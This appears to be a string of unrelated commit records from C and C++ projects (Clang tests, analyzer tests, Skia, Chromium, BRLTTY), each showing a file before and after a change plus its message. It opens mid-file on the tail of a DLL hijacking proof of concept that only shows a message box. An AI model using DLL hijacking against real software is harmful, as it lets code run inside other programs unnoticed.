            }
            strcat(out, username);
            MessageBox(0, out, "Dll Hijacking POC Code", 0);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Add dll hijack proxy example

Add dll hijack proxy example


#ifndef OFP_IPV6ENDPOINT_H
#define OFP_IPV6ENDPOINT_H

#include "ofp/ipv6address.h"

namespace ofp { // <namespace ofp>

class IPv6Endpoint {
public:
	IPv6Endpoint() = default;
	IPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {}
	IPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {}
	explicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {}

	bool parse(const std::string &s);
	void clear();

	bool valid() const { return port_ != 0; }
	const IPv6Address &address() const { return addr_; }
	UInt16 port() const { return port_; }

	void setAddress(const IPv6Address &addr) { addr_ = addr; }
	void setPort(UInt16 port) { port_ = port; }

	std::string toString() const;

private:
	IPv6Address addr_;
	UInt16 port_ = 0;
};

} // </namespace ofp>

#endif // OFP_IPV6ENDPOINT_H

#ifndef OFP_IPV6ENDPOINT_H
#define OFP_IPV6ENDPOINT_H

#include "ofp/ipv6address.h"
#include <istream>
#include "ofp/log.h"

namespace ofp { // <namespace ofp>

class IPv6Endpoint {
public:
	IPv6Endpoint() = default;
	IPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {}
	IPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {}
	explicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {}

	bool parse(const std::string &s);
	void clear();

	bool valid() const { return port_ != 0; }
	const IPv6Address &address() const { return addr_; }
	UInt16 port() const { return port_; }

	void setAddress(const IPv6Address &addr) { addr_ = addr; }
	void setPort(UInt16 port) { port_ = port; }

	std::string toString() const;

private:
	IPv6Address addr_;
	UInt16 port_ = 0;
};

std::istream &operator>>(std::istream &is, IPv6Endpoint &value);
std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value);

inline std::istream &operator>>(std::istream &is, IPv6Endpoint &value)
{
	std::string str;
	is >> str;
	if (!value.parse(str)) {
		is.setstate(std::ios::failbit);
	}
	return is;
}

inline std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value)
{
	return os << value.toString();
}

} // </namespace ofp>

#endif // OFP_IPV6ENDPOINT_H

Add program options to bridgeofp.

Add program options to bridgeofp.


/*
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

#ifndef _FB_UTIL_REIMPLEMENTATION
#define _FB_UTIL_REIMPLEMENTATION

#include <algorithm>
#include <sstream>
#include <string>
#include <vector>

namespace android {
namespace util {

inline std::vector<std::string> SplitAndLowercase(const std::string& str, char sep) {
  std::vector<std::string> result;
  std::stringstream ss(str);
  std::string part;
  while (std::getline(ss, part, sep)) {
    std::transform(part.begin(), part.end(), part.begin(),
                   [](unsigned char c) { return std::tolower(c); });
    result.push_back(part);
  }
  return result;
}

} // namespace util
} // namespace android

#endif // _FB_UTIL_REIMPLEMENTATION

Add Locale.cpp to sync and minimal deps

Add Locale.cpp to sync and minimal deps

Summary: This will be used to facilitate the conversion of protobuf Configuration objects and ResTable_config structs.

Reviewed By: ssj933

Differential Revision: D37507440

fbshipit-source-id: a557afd7dec0f071ff67629e3e7657dce86e50d2


// PARAM: --enable ana.sv-comp.enabled --enable ana.sv-comp.functions --set ana.specification 'CHECK( init(main()), LTL(G ! call(reach_error())) )' --enable ana.int.interval
// previously fixpoint not reached
// extracted from sv-benchmarks loops-crafted-1/loopv2
int SIZE = 50000001;
int __VERIFIER_nondet_int();
int main() {
  int n,i,j;
  n = __VERIFIER_nondet_int();
  if (!(n <= SIZE)) return 0;
  i = 0; j=0;
  while(i<n){

    i = i + 4;
    j = i +2;
  }
  return 0;
}

Add witness lifter fixpoint not reached test from sv-benchmarks


//
//  Fingertips.h
//  Fingertips
//
//  Copyright © 2016 Mapbox. All rights reserved.
//

#import <UIKit/UIKit.h>

//! Project version number for Fingertips.
FOUNDATION_EXPORT double FingertipsVersionNumber;

//! Project version string for Fingertips.
FOUNDATION_EXPORT const unsigned char FingertipsVersionString[];

#import <Fingertips/MPFingerTipWindow.h>

//
//  Fingertips.h
//  Fingertips
//
//  Copyright © 2016 Mapbox. All rights reserved.
//

#import <UIKit/UIKit.h>

//! Project version number for Fingertips.
FOUNDATION_EXPORT double FingertipsVersionNumber;

//! Project version string for Fingertips.
FOUNDATION_EXPORT const unsigned char FingertipsVersionString[];

#import <Fingertips/MBFingerTipWindow.h>

Fix prefix in header import

Fix prefix in header import


// General tests that ld invocations on Linux targets sane.
//
// RUN: %clang -no-canonical-prefixes -ccc-host-triple i386-unknown-linux %s -### -o %t.o 2>&1 \
// RUN:   | FileCheck --check-prefix=CHECK-LD-32 %s
// CHECK-LD-32: "{{.*}}/ld" {{.*}} "-L/lib/../lib32" "-L/usr/lib/../lib32"
//
// RUN: %clang -no-canonical-prefixes -ccc-host-triple x86_64-unknown-linux %s -### -o %t.o 2>&1 \
// RUN:   | FileCheck --check-prefix=CHECK-LD-64 %s
// CHECK-LD-64: "{{.*}}/ld" {{.*}} "-L/lib/../lib64" "-L/usr/lib/../lib64"

Add a test that ensures we get the basic multilib '-L' flags to 'ld'
invocations on Linux.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@140909 91177308-0d34-0410-b5e6-96231b3b80d8


/*
Dictionary object type -- mapping from char * to object.
NB: the key is given as a char *, not as a stringobject.
These functions set errno for errors.  Functions dictremove() and
dictinsert() return nonzero for errors, getdictsize() returns -1,
the others NULL.  A successful call to dictinsert() calls INCREF()
for the inserted item.
*/

extern typeobject Dicttype;

#define is_dictobject(op) ((op)->ob_type == &Dicttype)

extern object *newdictobject PROTO((void));
extern object *dictlookup PROTO((object *dp, char *key));
extern int dictinsert PROTO((object *dp, char *key, object *item));
extern int dictremove PROTO((object *dp, char *key));
extern int getdictsize PROTO((object *dp));
extern char *getdictkey PROTO((object *dp, int i));

/* New interface with (string)object * instead of char * arguments */
extern object *dict2lookup PROTO((object *dp, object *key));
extern int dict2insert PROTO((object *dp, object *key, object *item));
extern int dict2remove PROTO((object *dp, object *key));
extern object *getdict2key PROTO((object *dp, int i));

Remove dict2 interface -- it's now static.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char RAW[] = "/bin/stty raw";

const char default_str[] = "I AM AN IDIOT ";

int main(int argc, char **argv) {
  const char *str;
  if ( argc == 2 )
    str = argv[1];
  else
    str = default_str;

  size_t len = strlen(str);

  system(RAW);

  while ( 1 ) {
    for ( size_t i = 0 ; i < len ; i++ ) {
      getchar();
      printf("\x1b[2K\r");
      for ( size_t j = 0 ; j <= i ; j++ ) {
	printf("%c", str[j]);
      }
    }
    printf("\n\r");
  }

  return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char RAW[] = "/bin/stty raw";
#define CLEAR_LINE     "\x1b[2K"
#define GOTO_START     "\r"
#define GOTO_NEXT_LINE "\n"

const char default_str[] = "I AM AN IDIOT ";

int main(int argc, char **argv) {
  const char *str;
  if ( argc == 2 )
    str = argv[1];
  else
    str = default_str;

  size_t len = strlen(str);

  system(RAW);

  while ( 1 ) {
    for ( size_t i = 0 ; i < len ; i++ ) {
      getchar();
      printf(CLEAR_LINE GOTO_START);
      for ( size_t j = 0 ; j <= i ; j++ ) {
	printf("%c", str[j]);
      }
    }
    printf(GOTO_NEXT_LINE GOTO_START);
  }

  return 0;
}

Make the constants easier to understand

Make the constants easier to understand


/* Copyright 2012 Dennis Decker Jensen

http://programmingpraxis.com/2012/12/07/wirth-problem-15-12/

In his 1973 book "Systematic Programming: An Introduction", Niklaus Wirth
gives the following problem as exercise 15.12:

Develop a program that generates in ascending order the least 100 numbers
of the set M, where M is defined as follows:

a) The number 1 is in M.
b) If x is in M, then y = 2 * x + 1 and z = 3 * x + 1 are also in M
c) No other numbers are in M

Wirth also gives the first six numbers in the result sequence:
1, 3, 4, 7, 9, 10, ...

Your task is to write a program that finds the first N numbers in Wirth's
sequence.

*/

#include <stdio.h>

void
wirth(unsigned int n)
{
	unsigned int y, z, iy, iz, i, m[n], min;

	m[0] = 1;
	printf("  1:   1\n");
	iy = iz = 0;
	for (i = 1; i < 100; ++i) {
		y = 2 * m[iy] + 1;
		z = 3 * m[iz] + 1;
		min = z < y ? z : y;
		m[i] = min;
		printf("%3d: %3d\n", i+1, min);
		if (y <= m[i]) ++iy;
		if (z <= m[i]) ++iz;
	}

	return;
}

int
main(int argc, char *argv[])
{
	wirth(100);
	return 0;
}

Add classic Wirth problem on numbers 1-100.


/*
 * Copyright (c) 2012 Israel Jacques
 * See LICENSE for details.
 *
 * Israel Jacques <mrko@eecs.berkeley.edu>
 */

#include "cons.h"

typedef struct {
} cons_vdp1_t;

static struct cons_vdp1_t *cons_vdp1_new(void);
static void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t);

void
cons_vdp1_init(struct cons *cons)
{
        cons_vdp1_t *cons_vdp1;

        cons_vdp1 = cons_vdp1_new();
        cons->driver = cons_vdp1;
        cons->write = cons_vdp1_write;

        cons_reset(cons);
}

static struct cons_vdp1_t *
cons_vdp1_new(void)
{
        static struct cons_vdp1_t cons_vdp1;
        return &cons_vdp1;
}

static void
cons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg)
{
}

/*
 * Copyright (c) 2012 Israel Jacques
 * See LICENSE for details.
 *
 * Israel Jacques <mrko@eecs.berkeley.edu>
 */

#include <inttypes.h>
#include <stdbool.h>
#include <ctype.h>
#include <string.h>

#include "cons.h"

typedef struct {
} cons_vdp1_t;

static cons_vdp1_t *cons_vdp1_new(void);
static void cons_vdp1_reset(struct cons *);
static void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t);

void
cons_vdp1_init(struct cons *cons)
{
        cons_vdp1_t *cons_vdp1;

        cons_vdp1 = cons_vdp1_new();

        cons->driver = cons_vdp1;

        cons->write = cons_vdp1_write;
        cons->reset = cons_vdp1_reset;

        cons_reset(cons);
}

static cons_vdp1_t *
cons_vdp1_new(void)
{
        /* XXX Replace with TLSF */
        static cons_vdp1_t cons_vdp1;
        return &cons_vdp1;
}

static void
cons_vdp1_reset(struct cons *cons)
{
        cons_vdp1_t *cons_vdp1;

        cons_vdp1 = cons->driver;

        /* Reset */
}

static void
cons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg)
{
        cons_vdp1_t *cons_vdp1;

        cons_vdp1 = cons->driver;
}

Change stubs for VDP1 cons driver

Change stubs for VDP1 cons driver


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "is_utf8.h"

int main(int ac, char **av)
{
    if (ac != 2)
    {
        fprintf(stderr, "USAGE: %s string\n", av[0]);
        return EXIT_FAILURE;
    }
    return is_utf8((unsigned char*)av[1], strlen(av[1]));
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "is_utf8.h"

#define BUFSIZE 4096

int main(int ac, char **av)
{
    char buffer[BUFSIZE];
    int  read_retval;

    if (ac != 2)
    {
        fprintf(stderr, "USAGE: %s STRING or - for stdin.\n", av[0]);
        return EXIT_FAILURE;
    }
    if (strcmp(av[1], "-") == 0)
    {
        while (42)
        {
            read_retval = read(0, buffer, BUFSIZE);
            if (read_retval == 0)
                return EXIT_SUCCESS;
            if (read_retval == -1)
            {
                perror("read");
                return EXIT_FAILURE;
            }
            if (is_utf8((unsigned char*)buffer, read_retval) != 0)
                return EXIT_FAILURE;
        }
        return EXIT_SUCCESS;
    }
    return is_utf8((unsigned char*)av[1], strlen(av[1]));
}

Read on stdin for is_utf8 -

NEW: Read on stdin for is_utf8 -


#include <err.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>

#include "pt.h"

#define EPSILON 1.0e-8

int
main(int argc, char **argv)
{
	double e_ft, e_ref, *f_ov, *d_ov, *l1, *t2, *l2, *i_oovv;
	double *i2_oovo, *i3_ovvv, *i6_oovo, *i7_ovvv;
	size_t o, v;

#ifdef WITH_MPI
	MPI_Init(&argc, &argv);
#endif
	if (argc < 2)
		errx(1, "specify test file");

	e_ft = cc_ft(o, v, f_ov, d_ov, l1, t2, l2, i_oovv, i2_oovo,
	    i3_ovvv, i6_oovo, i7_ovvv);

#ifdef WITH_MPI
	MPI_Finalize();
#endif
	return (fabs(e_ft - e_ref) < EPSILON ? 0 : 1);
}

Add dummy test for (fT).

Add dummy test for (fT).


// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s

extern void abort() __attribute__((noreturn));

void f1() {
  abort();
}
// CHECK-LABEL: define void @f1()
// CHECK-NEXT: entry:
// CHECK-NEXT:   call void @abort()
// CHECK-NEXT:   unreachable
// CHECK-NEXT: }

void *f2() {
  abort();
  return 0;
}
// CHECK-LABEL: define i8* @f2()
// CHECK-NEXT: entry:
// CHECK-NEXT:   call void @abort()
// CHECK-NEXT:   unreachable
// CHECK-NEXT: }

// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s

extern void abort() __attribute__((noreturn));

void f1() {
  abort();
}
// CHECK-LABEL: define {{.*}}void @f1()
// CHECK-NEXT: entry:
// CHECK-NEXT:   call void @abort()
// CHECK-NEXT:   unreachable
// CHECK-NEXT: }

void *f2() {
  abort();
  return 0;
}
// CHECK-LABEL: define {{.*}}i8* @f2()
// CHECK-NEXT: entry:
// CHECK-NEXT:   call void @abort()
// CHECK-NEXT:   unreachable
// CHECK-NEXT: }

Fix for different build configurations.

Fix for different build configurations.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@358125 91177308-0d34-0410-b5e6-96231b3b80d8


// RUN: not %clang %s -verify 2>&1 | FileCheck %s
// RUN: %clang -cc1 -verify %s
// expected-no-diagnostics

// Test that -verify is strictly rejected as unknown by the driver.
// CHECK: unknown argument: '-verify'

// RUN: not %clang -verify %s 2>&1 | FileCheck %s
// RUN: %clang -cc1 -verify %s
// expected-no-diagnostics

// Test that -verify is strictly rejected as unknown by the driver.
// CHECK: unknown argument: '-verify'

Tweak test run line for readability

Tweak test run line for readability

Matching up the argument order in r199455's two RUN lines better demonstrates
what's going on.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@199456 91177308-0d34-0410-b5e6-96231b3b80d8


//
//  KeepLayout.h
//  Keep Layout
//
//  Created by Martin Kiss on 28.1.13.
//  Copyright (c) 2013 Triceratops. All rights reserved.
//

#ifdef __cplusplus

#import <Foundation/Foundation.h>

#else

@import Foundation;

#endif

FOUNDATION_EXPORT double KeepLayoutVersionNumber;
FOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[];

#import "KeepTypes.h"
#import "KeepAttribute.h"
#import "KeepView.h"
#import "KeepArray.h"
#import "KeepLayoutConstraint.h"

#if TARGET_OS_IPHONE
#import "UIViewController+KeepLayout.h"
#import "UIScrollView+KeepLayout.h"
#endif

//
//  KeepLayout.h
//  Keep Layout
//
//  Created by Martin Kiss on 28.1.13.
//  Copyright (c) 2013 Triceratops. All rights reserved.
//

#import <Foundation/Foundation.h>

FOUNDATION_EXPORT double KeepLayoutVersionNumber;
FOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[];

#import "KeepTypes.h"
#import "KeepAttribute.h"
#import "KeepView.h"
#import "KeepArray.h"
#import "KeepLayoutConstraint.h"

#if TARGET_OS_IPHONE
#import "UIViewController+KeepLayout.h"
#import "UIScrollView+KeepLayout.h"
#endif

Simplify importing Foundation while still compatible with C++


// REQUIRES: ppc64-registered-target
// RUN: %clang_cc1 -triple powerpc64-unknown-linux-gnu -emit-llvm -o - %s | FileCheck %s

#include <stdarg.h>

struct x {
  long a;
  double b;
};

void testva (int n, ...)
{
  va_list ap;

  struct x t = va_arg (ap, struct x);
// CHECK: bitcast i8* %ap.cur{{[0-9]*}} to %struct.x*
// CHECK: bitcast %struct.x* %t to i8*
// CHECK: bitcast %struct.x* %{{[0-9]+}} to i8*
// CHECK: call void @llvm.memcpy

  __int128_t u = va_arg (ap, __int128_t);
// CHECK: ptrtoint i8* %ap.cur{{[0-9]*}} to i64
// CHECK: add i64 %{{[0-9]+}}, 15
// CHECK: and i64 %{{[0-9]+}}, 4294967280
// CHECK: inttoptr i64 %{{[0-9]+}} to i8*

  int v = va_arg (ap, int);
// CHECK: ptrtoint i8* %ap.cur{{[0-9]*}} to i64
// CHECK: add i64 %{{[0-9]+}}, 4
// CHECK: inttoptr i64 %{{[0-9]+}} to i8*
// CHECK: bitcast i8* %{{[0-9]+}} to i32*
}

Add a test case for r156143, which enabled general varargs support for the
64-bit PPC SVR4 ABI.

The test verifies passing of structures, items with 16-byte alignment, and
small items that are passed right-justified in the parameter save area slot.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@165245 91177308-0d34-0410-b5e6-96231b3b80d8


// PARAM: --disable ana.mutex.disjoint_types --set ana.activated[+] "'var_eq'"  --set ana.activated[+] "'symb_locks'" --set ana.malloc.unique_address_count 1
// Copied from 06-symbeq/14-list_entry_rc, proven safe thanks to unique address
#include<pthread.h>
#include<stdlib.h>
#include<stdio.h>

#define list_entry(ptr, type, member) \
  ((type *)((char *)(ptr)-(unsigned long)(&((type *)0)->member)))

pthread_mutexattr_t mutexattr;

struct s {
  int datum;
  pthread_mutex_t mutex;
  int list;
} *A;

void init (struct s *p, int x) {
  p->datum = x;
  pthread_mutex_init(&p->mutex, &mutexattr);
}

void update (int *p) {
  struct s *s = list_entry(p, struct s, list);
  pthread_mutex_lock(&s->mutex);
  s++;
  // Not actual race: https://gitlab.com/sosy-lab/benchmarking/sv-benchmarks/-/issues/1354
  s->datum++; // NORACE
  pthread_mutex_unlock(&s->mutex); // no UB because ERRORCHECK
}

void *t_fun(void *arg) {
  update(&A->list);
  return NULL;
}

int main () {
  pthread_mutexattr_init(&mutexattr);
  pthread_mutexattr_settype(&mutexattr, PTHREAD_MUTEX_ERRORCHECK);

  pthread_t t1;
  A = malloc(2 * sizeof(struct s));
  init(A,666);
  init(&A[1],999); // extra element for s++ in update

  pthread_create(&t1, NULL, t_fun, NULL);
  update(&A->list);
  return 0;
}

Add 06-symbeq/14-list_entry_rc version where alloc unrolling gives enough precision


/*
 * Copyright 2016 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */
#ifndef SK_MILESTONE
#define SK_MILESTONE 59
#endif

/*
 * Copyright 2016 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */
#ifndef SK_MILESTONE
#define SK_MILESTONE 60
#endif

Update Skia milestone to 60

Update Skia milestone to 60

BUG=skia:

Change-Id: I1354ff96f5ff62c02af1d9cf39f0a971da077b17
Reviewed-on: https://skia-review.googlesource.com/13465
Reviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>
Commit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>


/*
 * Copyright 2014, NICTA
 *
 * This software may be distributed and modified according to the terms of
 * the GNU General Public License version 2. Note that NO WARRANTY is provided.
 * See "LICENSE_GPLv2.txt" for details.
 *
 * @TAG(NICTA_GPL)
 */

#include <platsupport/io.h>

/**
 * This function initialises the hardware
 * @param[in] io_ops        A structure containing os specific data and
 *                          functions.
 * @param[in] bar0          Where pci bar0 has been mapped into our vspace
 * @return                  A reference to the ethernet drivers state.
 */
struct eth_driver*
ethif_e82580_init(ps_io_ops_t io_ops, void *bar0);

/**
 * This function initialises the hardware
 * @param[in] io_ops        A structure containing os specific data and
 *                          functions.
 * @param[in] bar0          Where pci bar0 has been mapped into our vspace
 * @return                  A reference to the ethernet drivers state.
 */
struct eth_driver*
ethif_e82574_init(ps_io_ops_t io_ops, void *bar0);

/*
 * Copyright 2014, NICTA
 *
 * This software may be distributed and modified according to the terms of
 * the GNU General Public License version 2. Note that NO WARRANTY is provided.
 * See "LICENSE_GPLv2.txt" for details.
 *
 * @TAG(NICTA_GPL)
 */

#ifndef ETHIF_INTEL_H
#define ETHIF_INTEL_H

#include <platsupport/io.h>

/**
 * This function initialises the hardware
 * @param[in] io_ops        A structure containing os specific data and
 *                          functions.
 * @param[in] bar0          Where pci bar0 has been mapped into our vspace
 * @return                  A reference to the ethernet drivers state.
 */
struct eth_driver*
ethif_e82580_init(ps_io_ops_t io_ops, void *bar0);

/**
 * This function initialises the hardware
 * @param[in] io_ops        A structure containing os specific data and
 *                          functions.
 * @param[in] bar0          Where pci bar0 has been mapped into our vspace
 * @return                  A reference to the ethernet drivers state.
 */
struct eth_driver*
ethif_e82574_init(ps_io_ops_t io_ops, void *bar0);

#endif

Add missing header file guards

Add missing header file guards


#include <cstddef>
#include <memory>
#include <type_traits>
#include <utility>

#if (!defined(__clang__) && !defined(_MSC_VER) && __GNUC__ == 4 && __GNUC_MINOR__ < 9)

namespace std
{
template <class T> struct _Unique_if
{
  typedef unique_ptr<T> _Single_object;
};

template <class T> struct _Unique_if<T[]>
{
  typedef unique_ptr<T[]> _Unknown_bound;
};

template <class T, size_t N> struct _Unique_if<T[N]>
{
  typedef void _Known_bound;
};

template <class T, class... Args> typename _Unique_if<T>::_Single_object make_unique(Args &&... args)
{
  return unique_ptr<T>(new T(std::forward<Args>(args)...));
}

template <class T> typename _Unique_if<T>::_Unknown_bound make_unique(size_t n)
{
  typedef typename remove_extent<T>::type U;
  return unique_ptr<T>(new U[n]());
}

template <class T, class... Args> typename _Unique_if<T>::_Known_bound make_unique(Args &&...) = delete;
}

#endif

Add alternative implementation of memory.h


#ifndef RBOSL_MOVE_H
#define RBOSL_MOVE_H

#include "ruby.h"
#include <osl/move.h>

extern  VALUE cMove;

using namespace osl;

#ifdef __cplusplus
extern "C" {
#endif
extern void Init_move(VALUE mOsl);
#ifdef __cplusplus
} /* extern "C" */
#endif

#endif /* RBOSL_MOVE_H */

#ifndef RBOSL_MOVE_H
#define RBOSL_MOVE_H

#include "ruby.h"
#include <osl/move.h>

extern  VALUE cMove;

#ifdef __cplusplus
extern "C" {
#endif
extern void Init_move(VALUE mOsl);
#ifdef __cplusplus
} /* extern "C" */
#endif

#endif /* RBOSL_MOVE_H */

Remove a needless using namespace

Remove a needless using namespace


#include <stdio.h>
#include <string.h>
#include <math.h>

struct Packet {
    unsigned int status: 1;
    unsigned int group: 2;
    unsigned int plug: 2;
};

unsigned int packet_to_binary(struct Packet packet) {
    unsigned int binary = (packet.status << 7);
    binary |= ((packet.group & 0x3) << 2);
    binary |= (packet.plug  & 0x3);

    return binary & 0xFF;
}

void binary_to_packet(struct Packet *packet, unsigned int binary) {
    packet->status = (binary >> 7);
    packet->group = (binary >> 2) & 0x3;
    packet->plug = binary & 0x3;
}

void printBinary(int num, int digits) {
    int shift = digits - 1;
    int current = pow(2, shift);

    while (current > 0) {
        printf("%d", ((num & current) >> shift) & 1);

        shift--;
        current /= 2;
    }

    printf("\n");
}

Add basic packet handling code

Add basic packet handling code


// SKIP PARAM: --set solver td3 --set ana.activated "['base','threadid','threadflag','mallocWrapper','apron']" --set ana.base.privatization none --set ana.apron.privatization dummy
extern int __VERIFIER_nondet_int();

void change(int *p) {
    (*p)++;
}

int g;
int main() {
    int c = __VERIFIER_nondet_int();
    g = 3; // Globals are not tracked by apron for now
    assert(g != 3); // FAIL
    assert(g == 3);
    int a = 5;
    int *p = &a; // after this apron should put a to top because pointers are not tracked
    change(p);
    assert(a - 6 == 0);
    return 0;
}

// SKIP PARAM: --set solver td3 --set ana.activated "['base','threadid','threadflag','mallocWrapper','apron']" --set ana.base.privatization none --set ana.apron.privatization dummy
extern int __VERIFIER_nondet_int();

void change(int *p) {
    (*p)++;
}

int g;
int main() {
    int c = __VERIFIER_nondet_int();
    g = 3; // Globals are not tracked by apron for now
    assert(g != 3); // FAIL
    assert(g == 3);
    int a = 5;
    int *p = &a; // after this apron should put a to top because pointers are not tracked
    change(p);
    assert(a == 5); //FAIL
    assert(a - 6 == 0);
    return 0;
}

Add test exhibiting problematic issue

Add test exhibiting problematic issue


/*
 * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2
 */
#ifdef E_TYPEDEFS
#else
#ifndef E_WIDGET_BUTTON_H
#define E_WIDGET_BUTTON_H

EAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2);
EAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2);
EAPI void         e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data);

#endif
#endif

/*
 * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2
 */
#ifdef E_TYPEDEFS
#else
#ifndef E_WIDGET_ICONSEL_H
#define E_WIDGET_ICONSEL_H

EAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, char **file);
EAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, char **file);
EAPI void         e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data);

#endif
#endif

Correct define for this file.
Fix function declarations.

git-svn-id: 0f3f1c46c6da7ffd142db61e503a7ff63af3a195@18291 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33


// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_
#define CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_

#include "base/memory/singleton.h"
#include "chrome/browser/profiles/profile.h"
#include "components/keyed_service/content/browser_context_keyed_service_factory.h"

namespace history {
class WebHistoryService;
}

// Used for creating and fetching a per-profile instance of the
// WebHistoryService.
class WebHistoryServiceFactory : public BrowserContextKeyedServiceFactory {
 public:
  // Get the singleton instance of the factory.
  static WebHistoryServiceFactory* GetInstance();

  // Get the WebHistoryService for |profile|, creating one if needed.
  static history::WebHistoryService* GetForProfile(Profile* profile);

 protected:
  // Overridden from BrowserContextKeyedServiceFactory.
  KeyedService* BuildServiceInstanceFor(
      content::BrowserContext* context) const override;

 private:
  friend struct DefaultSingletonTraits<WebHistoryServiceFactory>;

  explicit WebHistoryServiceFactory();
  ~WebHistoryServiceFactory() override;

  DISALLOW_COPY_AND_ASSIGN(WebHistoryServiceFactory);
};

#endif  // CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_

// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_
#define CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_

#include "base/memory/singleton.h"
#include "chrome/browser/profiles/profile.h"
#include "components/keyed_service/content/browser_context_keyed_service_factory.h"

namespace history {
class WebHistoryService;
}

// Used for creating and fetching a per-profile instance of the
// WebHistoryService.
class WebHistoryServiceFactory : public BrowserContextKeyedServiceFactory {
 public:
  // Get the singleton instance of the factory.
  static WebHistoryServiceFactory* GetInstance();

  // Get the WebHistoryService for |profile|, creating one if needed.
  static history::WebHistoryService* GetForProfile(Profile* profile);

 protected:
  // Overridden from BrowserContextKeyedServiceFactory.
  KeyedService* BuildServiceInstanceFor(
      content::BrowserContext* context) const override;

 private:
  friend struct DefaultSingletonTraits<WebHistoryServiceFactory>;

  WebHistoryServiceFactory();
  ~WebHistoryServiceFactory() override;

  DISALLOW_COPY_AND_ASSIGN(WebHistoryServiceFactory);
};

#endif  // CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_

Remove explicit from zero-parameter constructor

Explicit in zero-parameter constructor does
not effect so it can be removed. Remove explicit
from WebHistoryServiceFactory constructor in
chrome/browser/history/web_history_service_factory.h

Review URL: https://codereview.chromium.org/1311533005

Cr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#346580}


/*
 * BRLTTY - A background process providing access to the Linux console (when in
 *          text mode) for a blind person using a refreshable braille display.
 *
 * Copyright (C) 1995-2004 by The BRLTTY Team. All rights reserved.
 *
 * BRLTTY comes with ABSOLUTELY NO WARRANTY.
 *
 * This is free software, placed under the terms of the
 * GNU General Public License, as published by the Free Software
 * Foundation.  Please see the file COPYING for details.
 *
 * Web Page: http://mielke.cc/brltty/
 *
 * This software is maintained by Dave Mielke <dave@mielke.cc>.
 */

char *
getProgramPath (void) {
  CHAR path[MAX_PATH];
  DWORD length = GetModuleFileName(GetModuleHandle(NULL), path, sizeof(path));

  while (length > 0)
    if (path[--length] == '\\')
      path[length] = '/';

  return strdupWrapper(path);
}

/*
 * BRLTTY - A background process providing access to the Linux console (when in
 *          text mode) for a blind person using a refreshable braille display.
 *
 * Copyright (C) 1995-2004 by The BRLTTY Team. All rights reserved.
 *
 * BRLTTY comes with ABSOLUTELY NO WARRANTY.
 *
 * This is free software, placed under the terms of the
 * GNU General Public License, as published by the Free Software
 * Foundation.  Please see the file COPYING for details.
 *
 * Web Page: http://mielke.cc/brltty/
 *
 * This software is maintained by Dave Mielke <dave@mielke.cc>.
 */

char *
getProgramPath (void) {
  char *path = NULL;
  HMODULE handle;

  if ((handle = GetModuleHandle(NULL))) {
    size_t size = 0X80;
